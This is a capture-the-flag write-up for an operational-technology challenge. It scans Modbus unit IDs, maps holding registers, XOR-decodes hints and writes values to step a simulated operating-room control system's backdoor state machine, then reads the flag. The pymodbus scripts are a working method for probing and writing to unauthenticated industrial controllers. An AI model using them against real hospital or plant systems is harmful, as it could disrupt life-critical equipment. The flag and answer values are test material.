ESPILON-CTF-2026-Writeups/OT/Operating_Room/README.md
Eun0us ac82d8367e Add 107 terminal screenshots and replace all 📸 placeholders
- Generated screenshots for all 33 challenges (ESP, Hardware, IoT, OT, Misc, Web3)
- Replaced all 123 placeholder lines with actual PNG image references
- Cleaned duplicate images from previously partial updates
- All write-ups now have full illustrated solutions
2026-03-27 00:34:47 +00:00

151 lines
4.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Operating Room
| Field | Value |
|-------|-------|
| Category | OT |
| Difficulty | Medium-Hard |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |
---
## Description
The operating room at Clinique Sainte-Mika runs on an industrial Modbus-based control system
managing HVAC, pressure, O2, ventilation, and lighting.
A maintenance backdoor was left in the system by the contractor. Find it. Unlock it.
You will need standard Modbus tools to interact with this challenge.
- Modbus TCP: `tcp/<host>:502`
Format: **ESPILON{flag}**
---
## TL;DR
Scan Modbus unit IDs to find unit 13. Map all holding registers: spot XOR key `0x0D13` at
registers 19 and 105, and the state machine at registers 100-110. Decode each hint, write the
correct value to register 110 before the timer expires. Execute all 6 state transitions
(state 5 requires special value `0x1337`). Read the flag from registers 200-215.
---
## Tools
| Tool | Purpose |
|------|---------|
| Python 3 + `pymodbus` | Modbus TCP client |
| XOR arithmetic | Decode hints from register 101 |
---
## Solution
![tshark Modbus/TCP capture showing anomalous coil write](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/wireshark_modbus.png)
### Step 1 — Discover the correct unit ID
Default unit ID 1 returns Modbus exceptions. Scan IDs 1-20:
```python
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient("<HOST>")
client.connect()
for uid in range(1, 20):
r = client.read_holding_registers(0, 1, slave=uid)
if not r.isError():
print(f"Unit ID {uid} responds!")
break
```
**Unit ID 13 responds.** (Reference to Room 013.)
### Step 2 — Map registers on unit 13
```python
regs = client.read_holding_registers(0, 256, slave=13).registers
```
Key registers:
| Register | Value | Meaning |
|----------|-------|---------|
| 0-19 | Telemetry | HVAC, humidity, pressure, O2, fan RPM, lux... |
| 13 | `0x4C4E` | "LN" — Lain easter egg |
| 19 | `0x0D13` | XOR key |
| 100 | current state | State machine (starts at 0) |
| 101 | encoded hint | `expected_value = reg_101 XOR reg_105` |
| 102 | countdown timer | Must write before timer = 0 |
| 105 | `0x0D13` | XOR key copy (breadcrumb) |
| 110 | write target | Trigger register |
| 200-215 | zeros → flag | Populated after completion |
![register dump highlighting XOR key at reg 19 and 105, and state machine at 100-1](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_regs.png)
### Step 3 — Decode the state machine logic
- Register 100 = current state (06)
- Register 101 = XOR-encoded expected value
- Register 105 = XOR key = `0x0D13`
- Decode: `expected = reg[101] XOR 0x0D13`
- Write `expected` to register 110 to advance the state
- Each transition must complete before register 102 (timer) reaches 0
- Wrong values or timeouts reset the state machine to 0
### Step 4 — Execute all 6 transitions
| State | Subsystem | Decoded Value | Formula |
|-------|-----------|--------------|---------|
| 0 | HVAC | 220 | reg[0] (temperature) |
| 1 | Pressure | 15 | reg[2] (pressure) |
| 2 | O2 | 50 | reg[3] (O2 flow) |
| 3 | Ventilation | 1200 | reg[4] (fan RPM) |
| 4 | Lighting | 800 | reg[5] (lux) |
| 5 | Safety | 4919 | `0x1337` (hardcoded hacker constant) |
```python
import time
for expected_state in range(6):
regs = client.read_holding_registers(100, 6, slave=13).registers
state = regs[0]
hint_enc = regs[1]
timer = regs[2]
xor_key = regs[5]
expected = hint_enc ^ xor_key
print(f"State {state}: write {expected} (timer={timer})")
client.write_register(110, expected, slave=13)
time.sleep(0.3)
```
![script executing each transition and state advancing from 0 to 6](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_transitions.png)
### Step 5 — Read the flag
After state 6 (complete), read registers 200-215:
```python
regs = client.read_holding_registers(200, 16, slave=13).registers
flag = ""
for val in regs:
if val == 0:
break
flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF)
print(flag)
```
![flag registers decoded to ASCII](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_flag.png)
---
## Flag
`ESPILON{m0dbu5_0p3r4t1ng_r00m}`